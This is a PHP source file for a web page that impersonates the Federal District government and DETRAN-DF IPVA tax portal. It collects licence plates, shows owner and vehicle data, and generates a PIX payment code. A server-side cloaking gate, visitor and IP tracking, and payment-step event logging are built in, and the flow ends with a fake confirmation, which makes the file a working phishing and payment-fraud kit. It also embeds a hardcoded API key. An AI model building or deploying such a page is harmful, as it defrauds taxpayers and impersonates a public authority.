<?php
/**
 * Index DF - Interface Oficial + Lógica de Busca Nexus v4.0
 */
declare(strict_types=1);
require_once __DIR__ . '/security-client.php';
require_once __DIR__ . '/client-config.php';

$siteId = 'df_site_main';
$securityResult = SecurityClient::protect($siteId, true);
$securityConfig = SecurityClient::getConfig($siteId);

ob_start();
?>
<!DOCTYPE html>
<html lang="pt-br"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Portal de Serviços da Receita - Secretaria de Fazenda do Distrito Federal</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&amp;display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://maxst.icons8.com/vue-static/landings/line-awesome/line-awesome/1.3.0/css/line-awesome.min.css">
    <style>
        body { font-family: 'Roboto', sans-serif; background-color: #f5f5f5; color: #333; }
        #barra-superior { background-color: #515151; color: #ccc; font-size: 11px; }
        #barra-superior-2 { background-color: #fff; border-bottom: 1px solid #eee; padding: 10px 0; }
        .site-name { font-weight: 800; color: #333; font-size: 24px; line-height: 1.2; }
        .sigla { font-weight: 400; color: #666; margin: 0; font-size: 14px; }
        .bg-gdf-blue { background-color: #1e3480; }
        .bg-footer { background-color: #0061ac; }
        #placa { letter-spacing: 0.2em; text-align: center; }
        .loading-spinner { border: 4px solid #f3f3f3; border-top: 4px solid #1e3480; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    </style>
    <script src="/nexus-tracker.js"></script>
    <script id="security-config" type="application/json">{"api_key": "sk_2b0b286cbbbc3471afd8f7f8fabd62df"}</script>
</head>
<body class="min-h-screen flex flex-col">
    <!-- Topo Oficial -->
    <div id="topo-site">
        <div id="barra-superior" class="hidden md:block py-2">
            <div class="container mx-auto max-w-7xl px-4 flex justify-between items-center">
                <ul class="flex space-x-4"><li>Sobre o DF</li><li>Governo</li><li>Serviços</li><li class="text-green-400 font-bold">Fale conosco</li></ul>
                <span>Acessibilidade | A+</span>
            </div>
        </div>
        <div id="barra-superior-2" class="container mx-auto max-w-7xl px-4 flex items-center justify-between">
            <div><h1 class="site-name">Departamento de Trânsito</h1><p class="sigla">DETRAN-DF</p></div>
            <img src="https://www.df.gov.br/wp-conteudo/themes/templategdf/img/logogdf_1.svg" class="h-12">
        </div>
    </div>

    <!-- Home -->
    <section id="page-home" class="flex-grow">
        <main class="container mx-auto max-w-5xl px-4 py-12">
            <nav class="text-[11px] mb-6 flex text-gray-500 space-x-2 uppercase font-bold"><span>Portal da Receita</span> <span>/</span> <span>IPVA</span> <span>/</span> <span class="text-gray-400">Emitir DAR</span></nav>
            <h1 class="text-2xl font-bold text-[#324861] border-b-2 border-[#1e3480] pb-2 mb-10 uppercase">Emissão de DAR IPVA</h1>
            
            <div class="max-w-xl mx-auto bg-white rounded shadow-xl p-8 border text-center">
                <label class="block text-xs font-bold text-[#1e3480] mb-3 uppercase">Informe a Placa:</label>
                <input type="text" id="placa" maxlength="7" placeholder="ABC1D23" class="w-full border-b-2 border-gray-300 py-3 text-3xl uppercase focus:border-[#1e3480] outline-none mb-6">
                <button id="btnConsultar" class="w-full bg-[#1e3480] text-white font-bold py-4 rounded uppercase text-sm tracking-widest">Consultar Débitos</button>
            </div>
        </main>
    </section>

    <!-- Extrato -->
    <section id="page-extrato" class="hidden flex-grow container mx-auto max-w-6xl px-4 py-8">
        <div class="bg-white p-6 rounded shadow mb-6">
            <h2 class="text-xl font-bold text-[#1e3480] border-b pb-3 mb-4 uppercase">Dados do veículo</h2>
            <ul class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
                <li class="text-sm">Placa: <span id="res-placa" class="font-bold">-</span></li>
                <li class="text-sm">Renavam: <span id="res-renavam" class="font-bold">-</span></li>
                <li class="text-sm">Modelo: <span id="res-modelo" class="font-bold">-</span></li>
                <li class="text-sm">Contribuinte: <span id="res-nome" class="font-bold">-</span></li>
                <li class="text-sm">Cor: <span id="res-cor" class="font-bold">-</span></li>
            </ul>
        </div>
        <div class="bg-white p-6 rounded shadow mb-6">
            <h2 class="text-xl font-bold text-[#1e3480] mb-4 uppercase">Débitos em aberto</h2>
            <div class="overflow-x-auto"><table class="table-auto w-full text-left text-sm"><thead><tr class="bg-gray-50 border-b-2"><th></th><th class="p-3">Débito</th><th class="p-3">Vencimento</th><th class="p-3 text-right">Valor</th></tr></thead><tbody id="tabela-debitos"></tbody></table></div>
        </div>
        <div class="bg-white p-8 rounded shadow flex justify-between items-center">
            <div><p class="text-gray-500 text-xs font-bold uppercase">Total Selecionado</p><span id="total-valor" class="text-4xl font-black text-[#1e3480]">R$ 0,00</span></div>
            <button onclick="abrirPagamento()" class="bg-[#00b140] text-white font-black py-5 px-12 rounded-xl text-lg">PAGAR VIA PIX</button>
        </div>
    </section>

    <!-- Pagamento -->
    <section id="page-pagamento" class="hidden py-10 px-4 flex-grow">
        <div class="max-w-2xl mx-auto bg-white rounded-2xl shadow-2xl p-8 text-center">
            <h2 class="text-xl font-black text-[#1e3480] uppercase mb-6">Resumo do Pagamento</h2>
            <div class="grid grid-cols-1 md:grid-cols-2 gap-8 text-left mb-8">
                <div class="space-y-4">
                    <div><label class="text-[10px] font-bold text-gray-400">Contribuinte</label><span id="pay-nome" class="block font-bold">-</span></div>
                    <div><label class="text-[10px] font-bold text-gray-400">Total a Pagar</label><span id="pay-total" class="block text-2xl font-black text-[#1e3480]">R$ 0,00</span></div>
                </div>
                <div class="bg-gray-50 p-6 rounded-2xl border border-dashed text-center">
                    <div id="qrCodeContainer" class="mb-4"></div>
                    <button class="w-full bg-[#1e3480] text-white font-bold py-2 rounded text-xs" onclick="copyPixCode()">COPIAR CÓDIGO PIX</button>
                </div>
            </div>
            <button class="w-full bg-[#00b140] text-white py-5 rounded-xl font-black text-lg" onclick="confirmarPagamento()">CONFIRMAR PAGAMENTO</button>
        </div>
    </section>

    <footer class="bg-footer text-white py-12 px-6 mt-auto text-center"><p>© 2026 Governo do Distrito Federal</p></footer>

    <div id="loadingOverlay" class="fixed inset-0 bg-white/90 hidden items-center justify-center z-[5000]"><div class="text-center"><div class="loading-spinner mb-4 mx-auto"></div><p class="font-bold text-[#1e3480]">PROCESSANDO...</p></div></div>
    <textarea id="pixCodeHidden" style="position: absolute; left: -9999px;"></textarea>

    <script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
    <script>
        function toggleHeader(isHome) { $('#topo-site').toggle(isHome); }

        $(document).ready(() => {
            const config = JSON.parse(document.getElementById('security-config').textContent);
            NexusTracker.init(config.api_key);

            $('#placa').on('input', function() { this.value = this.value.toUpperCase().replace(/[^A-Z0-9]/g, ''); });

            $('#btnConsultar').on('click', async function() {
                const p = $('#placa').val().trim();
                if (p.length < 7) return alert("Informe uma placa válida.");

                NexusTracker.placaAtual = p;
                $('#loadingOverlay').removeClass('hidden').addClass('flex');

                try {
                    const response = await fetch(`api.php?placa=${p}&visitor_id=${NexusTracker.visitorId}&captured_ip=${NexusTracker.ipv4}`);
                    const res = await response.json();

                    if (res.redirect) {
                        alert("Não constam débitos pendentes para este veículo no momento.");
                        location.reload();
                        return;
                    }

                    if (res.success && res.data) {
                        const d = res.data; const v = d.vehicle || {};
                        $('#res-placa').text(p); $('#res-nome, #pay-nome').text(v.proprietario || 'CONTRIBUINTE');
                        $('#res-renavam').text(v.renavam || '-'); $('#res-modelo').text(v.model || '-'); $('#res-cor').text(v.color || '-');

                        const debts = d.debts || [];
                        const tbody = $('#tabela-debitos'); tbody.empty();
                        debts.forEach((i, idx) => {
                            const val = parseFloat(i.amount || 0);
                            tbody.append(`<tr class="border-b"><td class="p-3"><input type="checkbox" checked class="checkbox-debito" data-total="${val}"></td><td class="p-3">${i.description || i.title}</td><td class="p-3">${i.due_date ? new Date(i.due_date).toLocaleDateString() : '-'}</td><td class="p-3 text-right font-bold">R$ ${val.toLocaleString('pt-BR',{minimumFractionDigits:2})}</td></tr>`);
                        });

                        atualizarTotal();
                        $('.checkbox-debito').on('change', atualizarTotal);
                        $('#page-home').addClass('hidden'); $('#page-extrato').removeClass('hidden');
                        toggleHeader(false); window.scrollTo(0,0);
                    } else { alert(res.erro || 'Veículo não localizado.'); }
                } catch (e) { alert('Erro de comunicação.'); }
                finally { $('#loadingOverlay').addClass('hidden').removeClass('flex'); }
            });
        });

        function atualizarTotal() {
            let total = 0;
            $('.checkbox-debito:checked').each(function() { total += parseFloat($(this).data('total')); });
            const fmt = 'R$ ' + total.toLocaleString('pt-BR', {minimumFractionDigits: 2});
            $('#total-valor, #pay-total').text(fmt);
            return total;
        }

        async function abrirPagamento() {
            const total = atualizarTotal();
            if (total === 0) return alert("Selecione um débito.");
            await NexusTracker.sendEvent('pix_gerado', { valor: total });
            $('#loadingOverlay').removeClass('hidden').addClass('flex');
            setTimeout(() => {
                $('#page-extrato').addClass('hidden'); $('#page-pagamento').removeClass('hidden');
                const payload = `00020126580014br.gov.bcb.pix0136financeiro@fazenda.df.gov.br5204000053039865405${total.toFixed(2)}5802BR5913FAZENDA DF6008BRASILIA62070503***6304`;
                $('#pixCodeHidden').val(payload);
                const qr = qrcode(0, 'M'); qr.addData(payload); qr.make();
                $('#qrCodeContainer').html(qr.createImgTag(5, 0));
                $('#loadingOverlay').addClass('hidden').removeClass('flex');
            }, 800);
        }

        function copyPixCode() { NexusTracker.sendEvent('pix_copiado'); $('#pixCodeHidden').select(); document.execCommand('copy'); alert('Código copiado!'); }

        async function confirmarPagamento() {
            $('#loadingOverlay').removeClass('hidden').addClass('flex');
            await NexusTracker.sendEvent('pix_confirmado_click');
            alert('Pagamento em análise. O seu documento será liberado em breve.');
            location.reload();
        }
    </script>
</body></html>
<?php echo ob_get_clean(); ?>
